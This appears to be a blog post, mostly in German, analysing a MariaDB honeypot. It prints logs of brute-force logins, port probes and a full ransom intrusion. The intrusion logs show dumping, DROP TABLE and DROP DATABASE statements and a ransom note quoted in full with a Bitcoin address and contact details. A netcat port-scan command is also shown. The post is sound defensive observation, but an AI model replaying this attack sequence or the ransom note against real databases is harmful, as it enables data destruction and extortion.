[Warning] Access denied for user 'root'@'196.251.91.18' (using password: NO) [Warning] Access denied for user 'root'@'196.251.91.18' (using password: YES) ... 3 Wiederholungen [Warning] Aborted connection 1013 to db: 'unconnected' user: 'unauthenticated' host: '196.251.91.18' (This connection closed normally without authentication)

Source: 94.102.49.155 (1 x)

Example:

[Warning] Access denied for user 'root'@'94.102.49.155' (using password: NO) [Warning] Access denied for user 'root'@'94.102.49.155' (using password: YES) ... 1 Wiederholungen [Warning] Aborted connection 1389 to db: 'unconnected' user: 'unauthenticated' host: '94.102.49.155' (This connection closed normally without authentication) [Warning] Access denied for user 'root'@'94.102.49.155' (using password: YES) ... 3 Wiederholungen

These patterns rarely occurred in the observed period.

Conclusion

Paying a ransom for cybercrime is not worth it!

Outlook / Todoes

Further points that could be clarified, refined and optimised next time:

Find out which passwords are being tried. Maybe patch MariaDB? (sql_acl.cc)
Provide some more exciting data and see what exactly happens.
Record several different attacks (filtered for IP?). Possibly from different countries (USA, China, Russia, Ukraine, ...)
You could also try running the honeypot with skip_grant_tables to enable access with a password?
log_warnings is set too verbose with 9. Maybe the default is enough?
Access with SSL only? See if someone already knows TLS.
Galera protocol? Was this really an attack or just a problem in the network/with the Galera cluster?
Play the same game with MySQL to see if there are other attack patterns.
Which other DB users are being attacked (CMS)?

Taxonomy upgrade extras: security honeypot mariadb

MariaDB Honeypot

Oli Sennhauser - Tue, 2025-03-04 16:27

Bei unseren MariaDB für Fortgeschrittene Schulungen, welche wir in etwa alle zwei Monate halten, verwenden wir Maschinen, welche mit einer öffentlichen IP-Adresse direkt dem Internet ausgesetzt sind.
Achtung: Man sollte NIE eine Datenbank ungeschützt direkt dem Internet aussetzen!
Typischerweise dauert es keine 72 Stunden (3 Tage) bis wir ersten Zugriffsversuchen von aussen ausgesetzt sind.

Dies sieht dann im MariaDB Error Log in etwa wie folgt aus:

[Warning] Aborted connection 22939 to db: 'unconnected' user: 'unauthenticated' host: '118.193.58.125' (This connection closed normally without authentication) [Warning] Aborted connection 22940 to db: 'unconnected' user: 'unauthenticated' host: '118.193.58.125' (This connection closed normally without authentication) [Warning] Access denied for user ''@'118.193.58.125' (using password: NO) [Warning] Access denied for user 'root'@'118.193.58.125' (using password: YES) [Warning] Access denied for user 'root'@'118.193.58.125' (using password: YES)

Zuerst wird einmal probiert, ob da eine Datenbank lauscht und wie diese antwortet. Anschliessend wird auf verschiedene Arten versucht in die Datenbank einzudringen. So wie es aussieht, gibt es verschiedene Beprobungs- und Angriffsmuster. Der Anonymous User (''@'%') und 'root'@'%' werden mit und ohne Passwort geprüft.
Ob noch weitere User probiert werden, muss sich noch über einen längeren Beobachtungszeitraum zeigen.

Und so sieht das aus Sicht des MariaDB General Query Logs aus:

287793 Connect root@196.251.91.77 on using TCP/IP 287793 Connect Access denied for user 'root'@'196.251.91.77' (using password: NO) 287794 Connect root@196.251.91.77 on using TCP/IP 287794 Connect Access denied for user 'root'@'196.251.91.77' (using password: YES) 287796 Connect root@196.251.91.77 on using TCP/IP 287796 Connect Access denied for user 'root'@'196.251.91.77' (using password: YES) Vorbereiten des Honeypots

Nach Beendigung der Schulung brauchen wir die Maschinen nicht mehr, sie werden abgebaut. Daher hat es mich zum Schluss gereizt, auszuprobieren, was passiert, wenn ein Zugriffsversuch erfolgreich ist. Um das zu testen wurde der User 'root'@'%' ohne Passwort wie folgt angelegt und ihm alle Rechte auf das test Schema gegeben:

SQL> CREATE USER 'root'@'%'; SQL> GRANT ALL ON test.* TO 'root'@'%';

und sowohl das MariaDB General Log eingeschaltet als auch das MariaDB Error Log gesprächiger gemacht:

# my.cnf [server] general_log_file = /var/log/mysql/general.log general_log = on log_error = /var/log/mysql/error.log log_warnings = 9 # too much! bind_address = * skip_name_resolve = on # How much info do we loose? # skip_grant_tables

Anschliessend hiess es nur noch sich auf die Lauer legen und abwarten was passiert...

TODO: Es wäre hier noch spannend zu sehen, mit welchen Passwörtern versucht wird, in die Datenbank zu gelangen. Mal schauen, ob man das rausfinden kann ohne den MariaDB Quellcode zu patchen...? Ev. sollte man zusätzlich noch mit wireshark oder tcpdump versuchen, die Passwörter ersichtlich zu machen.

Die erste Fliege schwirrt an

Dann scheint die erste Fliege (aus Amsterdam, Niederlande) zum Honigtopf zu gelangen. Zuerst haben wir eine Warnung, dass der Reverse-Lookup der IP Adresse scheitert:

[Warning] Hostname 'no-reverse-dns-configured.com' does not resolve to '94.102.49.155'.

Aber dann geht sie rein. Tut aber nichts Spannendes:

250228 16:06:32 1222 Connect root@94.102.49.155 on using TCP/IP 1222 Query SHOW databases 1222 Query SHOW tables IN information_schema 1222 Query SHOW tables IN test 1222 Query SHOW VARIABLES 250228 16:06:33 1222 Quit

Was kriegt die Fliege zu sehen:

Möglicherweise ist hier der Algorithmus des Angriffs schlau genug und stellt fest, dass sich ein Angriff nicht lohnt?

Dann warten wir auf die nächste Fliege...

Die nächste Fliege kommt geflogen

Und da sieht man sie auch schon (diesmal aus USA, Minneapolis) im MariaDB Error Log:

[Warning] Hostname 'undefined.hostname.localhost' does not resolve to '196.251.83.136'.

Jetzt wird es spannen, im MariaDB General Query Log zu sehen, was genau passiert?

Zuerst wird eine Verbindung aufgebaut und offen gehalten (Fuss in der Angel behalten?):

250228 16:06:55 67 Connect root@196.251.83.136 on using TCP/IP 67 Query SET AUTOCOMMIT=0

Dann, 15 Sekunden später wird eine Verbindung auf und wieder zu gemacht (sicherstellen, dass man auch wirklich erfolgreich war?):

250228 16:07:10 68 Connect root@196.251.83.136 on using TCP/IP 68 Query SET AUTOCOMMIT=0 68 Quit

Sofort danach werden alle Schemas abgefragt:

69 Connect root@196.251.83.136 on using TCP/IP 69 Query SET AUTOCOMMIT=0 69 Query SHOW DATABASES 69 Quit

Dann wird wieder eine Verbindung auf- und wieder abgebaut:

70 Connect root@196.251.83.136 on using TCP/IP 70 Query SET AUTOCOMMIT=0 70 Quit

Anschliessend wird geprüft, wie gross das Schema ist. Wahrscheinlich um sicherzustellen, dass es nicht zu gross ist? Dann die Tabellen abgefragt. Die Verbindung wird offen gehalten, es wird 2 Sekunden später damit weitergearbeitet.

71 Connect root@196.251.83.136 on using TCP/IP 71 Query SET AUTOCOMMIT=0 71 Query SELECT SUM(data_length + index_length) FROM information_schema.tables WHERE table_schema = 'test' 71 Query USE `test` 71 Query SHOW tables

Anschliessend wir ein mariadb-dump Imitat? mit Version ≥ 10.1 gestartet um die ersten 10!!! Zeilen der Tabelle aaa_payload im Schema test zu dumpen.

250228 16:07:11 72 Connect root@196.251.83.136 on using TCP/IP 72 Query /*!40100 SET @@SQL_MODE='' */ 72 Query /*!100100 SET @@MAX_STATEMENT_TIME=0.000000 */ 72 Query /*!100100 SET WAIT_TIMEOUT=DEFAULT */ 72 Query set optimizer_switch='semijoin=off' 72 Query SELECT LOGFILE_GROUP_NAME, FILE_NAME, TOTAL_EXTENTS, INITIAL_SIZE, ENGINE, EXTRA FROM INFORMATION_SCHEMA.FILES WHERE FILE_TYPE = 'UNDO LOG' AND FILE_NAME IS NOT NULL AND LOGFILE_GROUP_NAME IS NOT NULL AND LOGFILE_GROUP_NAME IN (SELECT DISTINCT LOGFILE_GROUP_NAME FROM INFORMATION_SCHEMA.FILES WHERE FILE_TYPE = 'DATAFILE' AND TABLESPACE_NAME IN (SELECT DISTINCT TABLESPACE_NAME FROM INFORMATION_SCHEMA.PARTITIONS WHERE TABLE_SCHEMA='test' AND TABLE_NAME IN ('aaa_payload'))) GROUP BY LOGFILE_GROUP_NAME, FILE_NAME, ENGINE, TOTAL_EXTENTS, INITIAL_SIZE ORDER BY LOGFILE_GROUP_NAME 72 Query SELECT DISTINCT TABLESPACE_NAME, FILE_NAME, LOGFILE_GROUP_NAME, EXTENT_SIZE, INITIAL_SIZE, ENGINE FROM INFORMATION_SCHEMA.FILES WHERE FILE_TYPE = 'DATAFILE' AND TABLESPACE_NAME IN (SELECT DISTINCT TABLESPACE_NAME FROM INFORMATION_SCHEMA.PARTITIONS WHERE TABLE_SCHEMA='test' AND TABLE_NAME IN ('aaa_payload')) ORDER BY TABLESPACE_NAME, LOGFILE_GROUP_NAME 72 Query set optimizer_switch=default 72 Init DB test 72 Query SHOW VARIABLES LIKE 'lower_case_table_names' 72 Query SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = DATABASE() AND table_name = 'aaa_payload' 72 Query SELECT engine, table_type FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = DATABASE() AND table_name = 'aaa_payload' 72 Query SELECT engine, table_type FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = DATABASE() AND table_name = 'aaa_payload' 72 Query SELECT engine, table_type FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = DATABASE() AND table_name = 'aaa_payload' 72 Query SET SQL_QUOTE_SHOW_CREATE=1 72 Query show fields from `aaa_payload` 72 Query SELECT /*!40001 SQL_NO_CACHE */ `id`, `name` FROM `aaa_payload` WHERE 1 LIMIT 10 72 Quit

Dann das selbe nochmal mit einer Tabelle namens aab_payload:

73 Connect root@196.251.83.136 on using TCP/IP 73 Query /*!40100 SET @@SQL_MODE='' */ 73 Query /*!100100 SET @@MAX_STATEMENT_TIME=0.000000 */ 73 Query /*!100100 SET WAIT_TIMEOUT=DEFAULT */ 73 Query set optimizer_switch='semijoin=off' 73 Query SELECT LOGFILE_GROUP_NAME, FILE_NAME, TOTAL_EXTENTS, INITIAL_SIZE, ENGINE, EXTRA FROM INFORMATION_SCHEMA.FILES WHERE FILE_TYPE = 'UNDO LOG' AND FILE_NAME IS NOT NULL AND LOGFILE_GROUP_NAME IS NOT NULL AND LOGFILE_GROUP_NAME IN (SELECT DISTINCT LOGFILE_GROUP_NAME FROM INFORMATION_SCHEMA.FILES WHERE FILE_TYPE = 'DATAFILE' AND TABLESPACE_NAME IN (SELECT DISTINCT TABLESPACE_NAME FROM INFORMATION_SCHEMA.PARTITIONS WHERE TABLE_SCHEMA='test' AND TABLE_NAME IN ('aab_payload'))) GROUP BY LOGFILE_GROUP_NAME, FILE_NAME, ENGINE, TOTAL_EXTENTS, INITIAL_SIZE ORDER BY LOGFILE_GROUP_NAME 73 Query SELECT DISTINCT TABLESPACE_NAME, FILE_NAME, LOGFILE_GROUP_NAME, EXTENT_SIZE, INITIAL_SIZE, ENGINE FROM INFORMATION_SCHEMA.FILES WHERE FILE_TYPE = 'DATAFILE' AND TABLESPACE_NAME IN (SELECT DISTINCT TABLESPACE_NAME FROM INFORMATION_SCHEMA.PARTITIONS WHERE TABLE_SCHEMA='test' AND TABLE_NAME IN ('aab_payload')) ORDER BY TABLESPACE_NAME, LOGFILE_GROUP_NAME 73 Query set optimizer_switch=default 73 Init DB test 73 Query SHOW VARIABLES LIKE 'lower_case_table_names' 250228 16:07:12 73 Query SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = DATABASE() AND table_name = 'aab_payload' 73 Query SELECT engine, table_type FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = DATABASE() AND table_name = 'aab_payload' 73 Query SELECT engine, table_type FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = DATABASE() AND table_name = 'aab_payload' 73 Query SELECT engine, table_type FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = DATABASE() AND table_name = 'aab_payload' 73 Query SET SQL_QUOTE_SHOW_CREATE=1 73 Query show fields from `aab_payload` 73 Query SELECT /*!40001 SQL_NO_CACHE */ `id`, `name` FROM `aab_payload` WHERE 1 LIMIT 10 73 Quit

Und schiesslich unsere Haupttabelle test aber auch hier nur die ersten 10!!! Zeilen:

74 Connect root@196.251.83.136 on using TCP/IP 74 Query /*!40100 SET @@SQL_MODE='' */ 74 Query /*!100100 SET @@MAX_STATEMENT_TIME=0.000000 */ 74 Query /*!100100 SET WAIT_TIMEOUT=DEFAULT */ 74 Query set optimizer_switch='semijoin=off' 74 Query SELECT LOGFILE_GROUP_NAME, FILE_NAME, TOTAL_EXTENTS, INITIAL_SIZE, ENGINE, EXTRA FROM INFORMATION_SCHEMA.FILES WHERE FILE_TYPE = 'UNDO LOG' AND FILE_NAME IS NOT NULL AND LOGFILE_GROUP_NAME IS NOT NULL AND LOGFILE_GROUP_NAME IN (SELECT DISTINCT LOGFILE_GROUP_NAME FROM INFORMATION_SCHEMA.FILES WHERE FILE_TYPE = 'DATAFILE' AND TABLESPACE_NAME IN (SELECT DISTINCT TABLESPACE_NAME FROM INFORMATION_SCHEMA.PARTITIONS WHERE TABLE_SCHEMA='test' AND TABLE_NAME IN ('test'))) GROUP BY LOGFILE_GROUP_NAME, FILE_NAME, ENGINE, TOTAL_EXTENTS, INITIAL_SIZE ORDER BY LOGFILE_GROUP_NAME 74 Query SELECT DISTINCT TABLESPACE_NAME, FILE_NAME, LOGFILE_GROUP_NAME, EXTENT_SIZE, INITIAL_SIZE, ENGINE FROM INFORMATION_SCHEMA.FILES WHERE FILE_TYPE = 'DATAFILE' AND TABLESPACE_NAME IN (SELECT DISTINCT TABLESPACE_NAME FROM INFORMATION_SCHEMA.PARTITIONS WHERE TABLE_SCHEMA='test' AND TABLE_NAME IN ('test')) ORDER BY TABLESPACE_NAME, LOGFILE_GROUP_NAME 74 Query set optimizer_switch=default 74 Init DB test 74 Query SHOW VARIABLES LIKE 'lower_case_table_names' 74 Query SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = DATABASE() AND table_name = 'test' 74 Query SELECT engine, table_type FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = DATABASE() AND table_name = 'test' 74 Query SELECT engine, table_type FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = DATABASE() AND table_name = 'test' 74 Query SELECT engine, table_type FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = DATABASE() AND table_name = 'test' 74 Query SET SQL_QUOTE_SHOW_CREATE=1 74 Query show fields from `test` 74 Query SELECT /*!40001 SQL_NO_CACHE */ `id`, `data`, `ts` FROM `test` WHERE 1 LIMIT 10 74 Quit

Dann geht es wieder mit Connection 71 weiter: Die 3 Tabellen test, aab_payload und aaa_payload werden gelöscht:

71 Query USE `test` 71 Query SHOW TABLES 71 Query SELECT TABLE_NAME, COLUMN_NAME, CONSTRAINT_NAME, REFERENCED_TABLE_NAME, REFERENCED_COLUMN_NAME FROM information_schema.KEY_COLUMN_USAGE WHERE TABLE_SCHEMA = 'test' AND TABLE_NAME = 'test' AND REFERENCED_TABLE_NAME IS NOT NULL 71 Query SELECT TABLE_NAME, COLUMN_NAME, CONSTRAINT_NAME, REFERENCED_TABLE_NAME, REFERENCED_COLUMN_NAME FROM information_schema.KEY_COLUMN_USAGE WHERE TABLE_SCHEMA = 'test' AND TABLE_NAME = 'aab_payload' AND REFERENCED_TABLE_NAME IS NOT NULL 250228 16:07:13 71 Query SELECT TABLE_NAME, COLUMN_NAME, CONSTRAINT_NAME, REFERENCED_TABLE_NAME, REFERENCED_COLUMN_NAME FROM information_schema.KEY_COLUMN_USAGE WHERE TABLE_SCHEMA = 'test' AND TABLE_NAME = 'aaa_payload' AND REFERENCED_TABLE_NAME IS NOT NULL 71 Query DROP TABLE `test` 71 Query DROP TABLE `aab_payload` 71 Query DROP TABLE `aaa_payload`

Dann wird eine Tabelle namens RECOVER_YOUR_DATA erstellt und mit dem Text versehen, wie man das Lösegeld bezahlen soll. Die Höhe beträgt 0.0101 Bitcoin was zur Zeit ca. EUR 863.40 entspricht. Wohlgemerkt, sie haben nur die ersten 10 Zeilen gedumpt und anschliessend gelöscht!

71 Query CREATE TABLE IF NOT EXISTS RECOVER_YOUR_DATA (text VARCHAR(255)) 71 Query INSERT INTO RECOVER_YOUR_DATA (text) VALUES ('All your data is backed up. You must pay 0.0101 BTC to bc1qm0v2r0mmx3py3h7fzkerd9a6rzdrpw5afqacen In 48 hours, your data will be publicly disclosed and deleted. (more information: go to https://is.gd/yotuqu)') 71 Query INSERT INTO RECOVER_YOUR_DATA (text) VALUES ('After payment send mail to us: rambler+2r8qm@onionmail.org and we will provide a link for you to download your data. Your DBCODE is: 2R8QM') 71 Query COMMIT 71 Quit Hinter dem Link ist folgender Text zu finden: Please take note of the following: We are aware that you have accessed this guide. This offer stands for 24hs After 72 hours, we cannot guarantee that we will be able to send the data to you. The only way to recover your data is by making the payment. We will not provide the data for free. Data leakage is a serious legal violation. Rest assured, the incident will remain confidential, and your data is protected. After your payment is completed, all data downloaded from you will be deleted from our servers, government agencies, competitors, contractors, and local media are currently unaware of the incident. If you pay we guarantee that your data will not be sold on Darkweb resources and will not be used to attack your company, employees, or counterparties in the future and the full database dump will be sent to you. If you have not contacted us within two days from the time of the incident, we will consider the transaction incomplete. Your data will then be sent to any interested parties. This is your responsibility. If you are a system administrator or programmer and your boss is unaware of this incident, we will contact them after 48 hours. If you are unable to contact us using the provided email, please visit https://getsession.org/ and download the Session Messenger. Add us using the following Session ID for a smoother conversation and better negotiation: Session ID: 05a5ba6491a15908207cce6e257b3316cd11cb2575f75194d3c59c37de68eaf55a After payment, please provide us with a screenshot or proof of payment. Once the payment is confirmed, we will send you a download link for your data. We will also delete our copy of the data. IMPORTANT!! DO NOT FORGET TO INCLUDE YOUR DBCODE IN YOUR MAIL OR MESSAGE YOU SEND TO US The only accepted payment method is Bitcoin. Be advised: PayPal, WeTransfer, Alipay, credit cards, and other methods will not be accepted. If you prefer to pay with another cryptocurrency, please contact us to make arrangements. If you don't have Bitcoin, you can purchase it using a credit card from the following websites: MoonPay: https://www.moonpay.com/buy Paybis: https://paybis.com/ Changelly: https://changelly.com/buy Alternatively, you can buy Bitcoin using other payment methods from the following platforms (some of them work in China): Coinbase: https://www.coinbase.com/ Paxful: https://paxful.com/ Binance: https://www.binance.com/ Crypto.com: https://www.crypto.com/ Huobi: https://www.huobi.com/ OKCoin: https://www.okcoin.com/ BTCC: https://www.btcc.com/ Paybis: https://paybis.com/ Coinmama: https://coinmama.com/ Bitfinex: https://www.bitfinex.com/ For users in China, Bitcoin can be purchased with Alipay from: CoinCola: https://www.coincola.com/?lang=zh-HK BitValve: https://www.bitvalve.com/buy-bitcoin/alipay

Und dieser Text wir in die Tabelle RECOVER_YOUR_DATA geschrieben:

SQL> SELECT * FROM RECOVER_YOUR_DATA; +-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ | text | +-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ | All your data is backed up. You must pay 0.0101 BTC to bc1qm0v2r0mmx3py3h7fzkerd9a6rzdrpw5afqacen In 48 hours, your data will be publicly disclosed and deleted. (more information: go to https://is.gd/yotuqu) | | After payment send mail to us: rambler+2r8qm@onionmail.org and we will provide a link for you to download your data. Your DBCODE is: 2R8QM | +-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+

Anschliessend wird das Schema test (wo die Tabelle RECOVER_YOUR_DATA drin ist?) gelöscht.

75 Connect root@196.251.83.136 on using TCP/IP 75 Query SET AUTOCOMMIT=0 75 Query DROP DATABASE `test` 75 Query COMMIT 75 Quit

Und ein neues Schema erstellt mit dem Namen RECOVER_YOUR_DATA:

76 Connect root@196.251.83.136 on using TCP/IP 76 Query SET AUTOCOMMIT=0 76 Query CREATE DATABASE IF NOT EXISTS RECOVER_YOUR_DATA 76 Quit

Irgendwie scheint mir der Zugriff nicht logisch und hat noch Potential. Da die Tabelle RECOVER_YOUR_DATA fehlt (gelöscht mit Schema test) kann man ja gar nicht mehr bezahlen, falls man wollte...

Möglicherweise scheint der Entwickler auch nicht mit einem limitierten root Account gerechnet zu haben und das Tool verhält sich daher falsch? Siehe auch die drei Wiederholungen beim Dumpen der Tabellen.

Woher kommt der Zugriff?

Ich weiss nicht, wie gut man verschleiern kann woher man kommt und wie gut die Geo-Auflösung der IP-Adressen ist, davon habe ich zu wenig Ahnung. Eine Recherche hat ergeben, dass die IP aus Amsterdam (Niederlande) kommt.

Nach weiterer Suche stellte sich heraus, dass die IP einer Organisation Namens Internet Secuirty Ekabi (achtung Schreibfehler wie im Original!) gehört mit einer Adresse aus der USA und der Location auf den Seychellen.
Wenn mir noch jemand mehr Tipps geben kann, was man da alles rausfinden kann, wäre ich sehr dankbar dafür!

Woher stammen die IP Adressen?

Im kurzen beobachteten Zeitraum haben wir Zugriffe aus folgenden Regionen beobachtet:

Alibaba Cloud, Singapore
Google Belgium, Brussels
Data-Center Imaqliq Ltd., Russia, St. Petersburg
Alibaba Cloud, Japan, Tokyo
FiberXpress BV, Netherlands, Amsterdam
M247 Europe SRL, United Kingdom, Manchester
Hetzner Online GmbH, Finland, Helsinki
Internet Secuirty Ekabi, Netherlands, Amsterdam (2 x)
Internet Security Cheapyhost, Netherlands, Amsterdam (9 x)
Internet Security Nybula, Netherlands, Amsterdam (2 x)

Zugriffsmuster

Alle Zugriffsversuche erfolgen OHNE SSL/TLS.

Fingerprint aus Sicht des MariaDB General Query Logs:

9 x Connect root@34.140.63.218 on using TCP/IP Connect Access denied for user 'root'@'34.140.63.218' (using password: NO) 1 x Connect root@45.135.95.25 on using TCP/IP Connect Access denied for user 'root'@'45.135.95.25' (using password: NO) Connect root@45.135.95.25 on using TCP/IP Connect Access denied for user 'root'@'45.135.95.25' (using password: NO) 4 x Connect root@196.251.118.8 on using TCP/IP Connect Access denied for user 'root'@'196.251.118.8' (using password: NO) Connect root@196.251.118.8 on using TCP/IP Connect Access denied for user 'root'@'196.251.118.8' (using password: YES) Connect root@196.251.118.8 on using TCP/IP ... mit 2 Wiederholungen 1 x Connect root@94.102.49.155 on using TCP/IP Connect Access denied for user 'root'@'94.102.49.155' (using password: NO) Connect root@94.102.49.155 on using TCP/IP Connect Access denied for user 'root'@'94.102.49.155' (using password: YES) ... mit 6 Wiederholungen 2 x Connect root@196.251.91.19 on using TCP/IP Connect Access denied for user 'root'@'196.251.91.19' (using password: NO) Connect root@196.251.91.19 on using TCP/IP Connect Access denied for user 'root'@'196.251.91.19' (using password: YES) ... mit 28 Wiederholungen 1 x Connect root@157.180.29.231 on using TCP/IP Connect Access denied for user 'root'@'157.180.29.231' (using password: NO) Connect root@157.180.29.231 on using TCP/IP Connect Access denied for user 'root'@'157.180.29.231' (using password: NO) Connect root@157.180.29.231 on using TCP/IP Connect Access denied for user 'root'@'157.180.29.231' (using password: YES) Connect root@157.180.29.231 on using TCP/IP Connect Access denied for user 'root'@'157.180.29.231' (using password: YES) Mit jeweils zeitlichem Abstand 2 x Connect root@196.251.86.26 on using TCP/IP Connect Access denied for user 'root'@'196.251.86.26' (using password: NO) Connect root@196.251.86.26 on using TCP/IP Connect Access denied for user 'root'@'196.251.86.26' (using password: YES) Connect root@196.251.86.26 on using TCP/IP ... mit 38 Wiederholungen

Es kann natürlich sein, dass einige dieser Zugriffsversuche dieselben Werkzeuge verwenden und einfach nach einer unterschiedlichen Anzahl Versuche abgebrochen wurde und die Tools damit ein unterschiedliches Muster erzeugt haben.

Zugriffsmuster aus Sicht des MariaDB Error Logs Mögliche Zugriffe auf das Galera Protokoll [Warning] WSREP: Failed to unserialize message. This may be a result of corrupt message, port scanner or another application connecting to group communication port. [Warning] WSREP: Failed to unserialize message. This may be a result of corrupt message, port scanner or another application connecting to group communication port. [Warning] WSREP: Unsupported/unrecognized gmcast protocol version: { at ./gcomm/src/gmcast_message.hpp:unserialize():331 at ./gcomm/src/gmcast.cpp:handle_up():1494 [Warning] WSREP: Failed to unserialize message. This may be a result of corrupt message, port scanner or another application connecting to group communication port. [Warning] WSREP: Failed to unserialize message. This may be a result of corrupt message, port scanner or another application connecting to group communication port. [Warning] WSREP: Failed to unserialize message. This may be a result of corrupt message, port scanner or another application connecting to group communication port.

und:

[Warning] WSREP: Failed to unserialize message. This may be a result of corrupt message, port scanner or another application connecting to group communication port. [Warning] WSREP: Failed to unserialize message. This may be a result of corrupt message, port scanner or another application connecting to group communication port. [Warning] WSREP: Failed to unserialize message. This may be a result of corrupt message, port scanner or another application connecting to group communication port.

Ob dies ein Zugriffsversuch war oder ob wir nur bei uns im Netzwerk oder Galera Cluster ein Problem hatten muss noch verifiziert werden.

Probleme mit der Namensauflösung

Um mehr und zusätzliche Informationen zu erhalten wurde die Datenbank OHNE skip_name_resolve betrieben. Dies führt zu verschiedenen Warnung betreffend Namensauflösung (vorwärts und rückwärts).

[Warning] Hostname 'no-reverse-dns-configured.com' does not resolve to '94.102.49.155'. [Warning] Host name 'scanner-28.ch1.censys-scanner.com' could not be resolved: Name or service not known [Warning] IP address '34.140.170.97' has been resolved to the host name '97.170.140.34.bc.googleusercontent.com', which resembles IPv4-address itself. [Warning] IP address '165.154.100.58' could not be resolved: Name or service not known [Warning] IP address '104.193.135.104' could not be resolved: Temporary failure in name resolution

Zudem sind verschiedene Scanner-Systeme aufgefallen, die teilweise richtig aufgelöst haben: security.ipip.net coop.net {ch1|hk2}.censys-scanner.com

Fazit: slog_warnings = 9 ist zu hoch, skip_name_resolve aktivieren.

Port probing

Einfaches Port probing (Abklopfen der Ports) kann wie folgt erfolgen:

# netcat -z -n -v 10.116.63.139 3300-3310

Im MariaDB Error Log auf Datenbank Seite sieht man dann wie folgt:

[Warning] Could not read packet: fd: 56 state: 1 read_length: 4 errno: 110 vio_errno: 1159 length: 0 [Warning] Aborted connection 52 to db: 'unconnected' user: 'unauthenticated' host: '_gateway.incus' (This connection closed normally without authentication)

Diese Port probes werden im MariaDB Gerneral Query Log schon gar nicht erst angezeigt.

Verschiedene Varianten und Muster des Port probings

Folgende 3 Muster des Port probings sind uns aufgefallen:

[Warning] Could not read packet: fd: 63 state: 1 read_length: 4 errno: 104 vio_errno: 1158 length: -1 [Warning] Aborted connection 76 to db: 'unconnected' user: 'unauthenticated' host: '45.142.193.153' (This connection closed normally without authentication) 198.235.24.140 115.231.78.10 [Warning] Could not read packet: fd: 63 state: 1 read_length: 4 errno: 11 vio_errno: 1158 length: 0 [Warning] Aborted connection 50 to db: 'unconnected' user: 'unauthenticated' host: '20.65.194.133' (This connection closed normally without authentication) [Warning] Could not write packet: fd: 64 state: 1 errno: 104 vio_errno: 1160 length: 42 [ERROR] mariadbd: Got an error writing communication packets [Warning] Aborted connection 55 to db: 'unconnected' user: 'unauthenticated' host: 'connecting host' (This connection closed normally without authentication) [Warning] Could not read packet: fd: 64 state: 1 read_length: 4 errno: 11 vio_errno: 1158 length: 0 [Warning] Aborted connection 56 to db: 'unconnected' user: 'unauthenticated' host: '137.184.75.161' (This connection closed normally without authentication) [Warning] Could not read packet: fd: 64 state: 1 read_length: 4 errno: 0 vio_errno: 1158 length: 0 [Warning] Aborted connection 57 to db: 'unconnected' user: 'unauthenticated' host: '165.22.191.252' (This connection closed normally without authentication) [Warning] Could not read packet: fd: 87 state: 1 read_length: 4 errno: 0 vio_errno: 1158 length: 0 [Warning] Aborted connection 58 to db: 'unconnected' user: 'unauthenticated' host: '165.22.188.115' (This connection closed normally without authentication) [Warning] Could not read packet: fd: 64 state: 1 read_length: 196974 errno: 11 vio_errno: 1158 length: 0 [Warning] Aborted connection 59 to db: 'unconnected' user: 'unauthenticated' host: '165.22.191.252' (This connection closed normally without authentication) [Warning] Could not read packet: fd: 64 state: 1 read_length: 196974 errno: 11 vio_errno: 1158 length: 0 [Warning] Aborted connection 60 to db: 'unconnected' user: 'unauthenticated' host: '165.22.191.252' (This connection closed normally without authentication) [Warning] Could not read packet: fd: 64 state: 1 read_length: 197053 errno: 11 vio_errno: 1158 length: 0 [Warning] Aborted connection 61 to db: 'unconnected' user: 'unauthenticated' host: '165.22.191.252' (This connection closed normally without authentication) [Warning] Could not read packet: fd: 64 state: 1 read_length: 197067 errno: 11 vio_errno: 1158 length: 0 [Warning] Aborted connection 62 to db: 'unconnected' user: 'unauthenticated' host: '165.22.191.252' (This connection closed normally without authentication) [Warning] Could not read packet: fd: 64 state: 1 read_length: 196986 errno: 11 vio_errno: 1158 length: 0 [Warning] Aborted connection 63 to db: 'unconnected' user: 'unauthenticated' host: '165.22.191.252' (This connection closed normally without authentication) [Warning] Could not read packet: fd: 64 state: 1 read_length: 131449 errno: 11 vio_errno: 1158 length: 0 [Warning] Aborted connection 64 to db: 'unconnected' user: 'unauthenticated' host: '165.22.191.252' (This connection closed normally without authentication) [Warning] Could not read packet: fd: 64 state: 1 read_length: 65900 errno: 11 vio_errno: 1158 length: 0 [Warning] Aborted connection 65 to db: 'unconnected' user: 'unauthenticated' host: '165.22.191.252' (This connection closed normally without authentication) [Warning] Could not read packet: fd: 64 state: 1 read_length: 65900 errno: 11 vio_errno: 1158 length: 0 [Warning] Aborted connection 66 to db: 'unconnected' user: 'unauthenticated' host: '165.22.191.252' (This connection closed normally without authentication) [Warning] Could not read packet: fd: 64 state: 1 read_length: 65910 errno: 11 vio_errno: 1158 length: 0 [Warning] Aborted connection 67 to db: 'unconnected' user: 'unauthenticated' host: '165.22.191.252' (This connection closed normally without authentication) [Warning] Could not read packet: fd: 64 state: 1 read_length: 65887 errno: 11 vio_errno: 1158 length: 0 [Warning] Aborted connection 68 to db: 'unconnected' user: 'unauthenticated' host: '165.22.191.252' (This connection closed normally without authentication)

Was im dritten Fall genau probiert wurde, entzieht sich noch meiner Kenntnis.

Und hier noch die Aufschlüsselung der Fehlermeldungen:

# perror 104 OS error code 104: Connection reset by peer # perror 11 OS error code 11: Resource temporarily unavailable # perror 1158 MariaDB error code 1158 (ER_NET_READ_ERROR): Got an error reading communication packets Learn more: https://mariadb.com/kb/en/e1158/ # perror 1160 MariaDB error code 1160 (ER_NET_ERROR_ON_WRITE): Got an error writing communication packets Learn more: https://mariadb.com/kb/en/e1160/ Out of order packets (4 x)

